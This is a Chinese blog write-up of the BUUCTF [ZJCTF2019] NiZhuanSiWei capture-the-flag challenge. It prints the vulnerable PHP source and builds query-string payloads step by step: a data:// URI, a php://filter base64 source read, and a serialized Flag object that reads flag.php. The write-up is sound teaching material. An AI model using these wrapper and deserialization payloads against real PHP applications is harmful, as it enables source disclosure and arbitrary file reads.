热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

BUUCTF[ZJCTF2019]NiZhuanSiWei解题报告

本文详细解析了BUUCTF[ZJCTF2019]NiZhuanSiWei的解题过程,包括代码审计、PHP伪协议的使用以及反序列化漏洞的利用。

前言:本文旨在通过BUUCTF [ZJCTF 2019] NiZhuanSiWei这一题目,深入探讨代码审计及安全问题,帮助读者理解和掌握相关技术。




题目给出的PHP源码如下:

$text = $_GET['text'];
$file = $_GET['file'];
$password = $_GET['password'];
if (isset($text) && file_get_contents($text, 'r') === 'welcome to the zjctf') {
echo "
" . file_get_contents($text, 'r') . "
";
if (preg_match('/flag/', $file)) {
echo "Not now!";
exit();
} else {
include($file);
$password = unserialize($password);
echo $password;
}
} else {
highlight_file(__FILE__);
}
?>

该题目需要传递三个参数:text、file 和 password。

首先,我们需要使 text 参数的内容为 'welcome to the zjctf',可以使用 data 协议实现:

?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

接下来,我们需要处理 file 参数。直接访问 useless.php 并没有显示任何内容,因此可以使用 PHP 伪协议将其内容以 base64 编码形式读取:

?file=php://filter/read=convert.base64-encode/resource=useless.php

将上述两个参数结合,形成如下 payload:

?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

解码 base64 后的内容如下:

class Flag {
public $file;
public function __toString() {
if (isset($this->file)) {
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

从解码后的代码可以看出,如果能够成功调用 Flag 类,并设置其 $file 属性为 flag.php,则可以通过反序列化获取 flag。构造如下序列化字符串:

$a = new Flag();
$a->file = 'flag.php';
echo serialize($a);
// 序列化结果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终的 payload 如下:

?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

通过上述步骤,我们可以成功获取到 flag。

总结:本题主要考察了 PHP 伪协议的使用、data 协议传递数据以及反序列化漏洞的利用。希望本文能帮助大家更好地理解这些技术点。


推荐阅读
  • 最近同事提了一个需求过来,他觉得项目对于第三方日志记录的太多了,只想记录一些业务相关的日志减少对于框架日志的显示。具体要求就是对于框架日志只显示warn等级以上的,而业务日志显示info等级以上 ... [详细]
  • 本文探讨了浏览器的同源策略限制及其对 AJAX 请求的影响,并详细介绍了如何在 Spring Boot 应用中优雅地处理跨域请求,特别是当请求包含自定义 Headers 时的解决方案。 ... [详细]
  • Java实现文本到图片转换,支持自动换行、字体自定义及图像优化
    本文详细介绍了如何使用Java实现将文本转换为图片的功能,包括自动换行、自定义字体加载、抗锯齿优化以及图片压缩等技术细节。 ... [详细]
  • PHP 中 preg_match 函数的 isU 修饰符详解
    本文详细解析 PHP 中 preg_match 函数中 isU 修饰符的具体含义及其应用场景,帮助开发者更好地理解和使用正则表达式。 ... [详细]
  • 深入解析Android中的SQLite数据库使用
    本文详细介绍了如何在Android应用中使用SQLite数据库进行数据存储。通过自定义类继承SQLiteOpenHelper,实现数据库的创建与版本管理,并提供了具体的学生信息管理示例代码。 ... [详细]
  • 本文探讨了一个特定于 Spring 4.2.5 的问题,即在应用上下文刷新事件(ContextRefreshedEvent)触发时,带有 @Transactional 注解的 Bean 未能正确代理事务。该问题在 Spring 4.1.9 版本中正常运行,但在升级至 4.2.5 后出现异常。 ... [详细]
  • 本文详细介绍了如何在现有的Android Studio项目中集成JNI(Java Native Interface),包括下载必要的NDK和构建工具,配置CMakeLists.txt文件,以及编写和调用JNI函数的具体步骤。 ... [详细]
  • 本文详细介绍了如何在 Java 中使用 com.badlogic.gdx.utils.JsonValue.iterator() 方法来遍历和解析 JSON 数据,并提供了多个实际应用中的代码示例。 ... [详细]
  • 本文介绍如何在Windows Forms应用程序中使用C#实现DataGridView的多列排序功能,包括升序和降序排序。 ... [详细]
  • 本文详细介绍了如何在Android应用中使用GridView组件以网格形式展示数据(如文本和图像)。通过行列布局,实现类似矩阵的数据展示效果。 ... [详细]
  • Vue 3.0 翻牌数字组件使用指南
    本文详细介绍了如何在 Vue 3.0 中使用翻牌数字组件,包括其基本设置和高级配置,旨在帮助开发者快速掌握并应用这一动态视觉效果。 ... [详细]
  • js常用方法(1)startWithJava代码varstartsWithfunction(str,regex){if(regexundefined||strundefined|| ... [详细]
  • 利用Python实现自动化群发邮件
    本文详细介绍如何使用Python语言来实现邮件的自动群发功能,适合希望提高工作效率的技术爱好者和开发者。 ... [详细]
  • 本文探讨了如何在Android应用中实现图片的保存至外部存储,并通过原生方式分享这些图片。主要介绍了保存图片的不同策略以及通过Intent进行文件分享的具体步骤。 ... [详细]
  • MapReduce原理是怎么剖析的
    这期内容当中小编将会给大家带来有关MapReduce原理是怎么剖析的,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。1 ... [详细]
author-avatar
佳臭臭_643
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有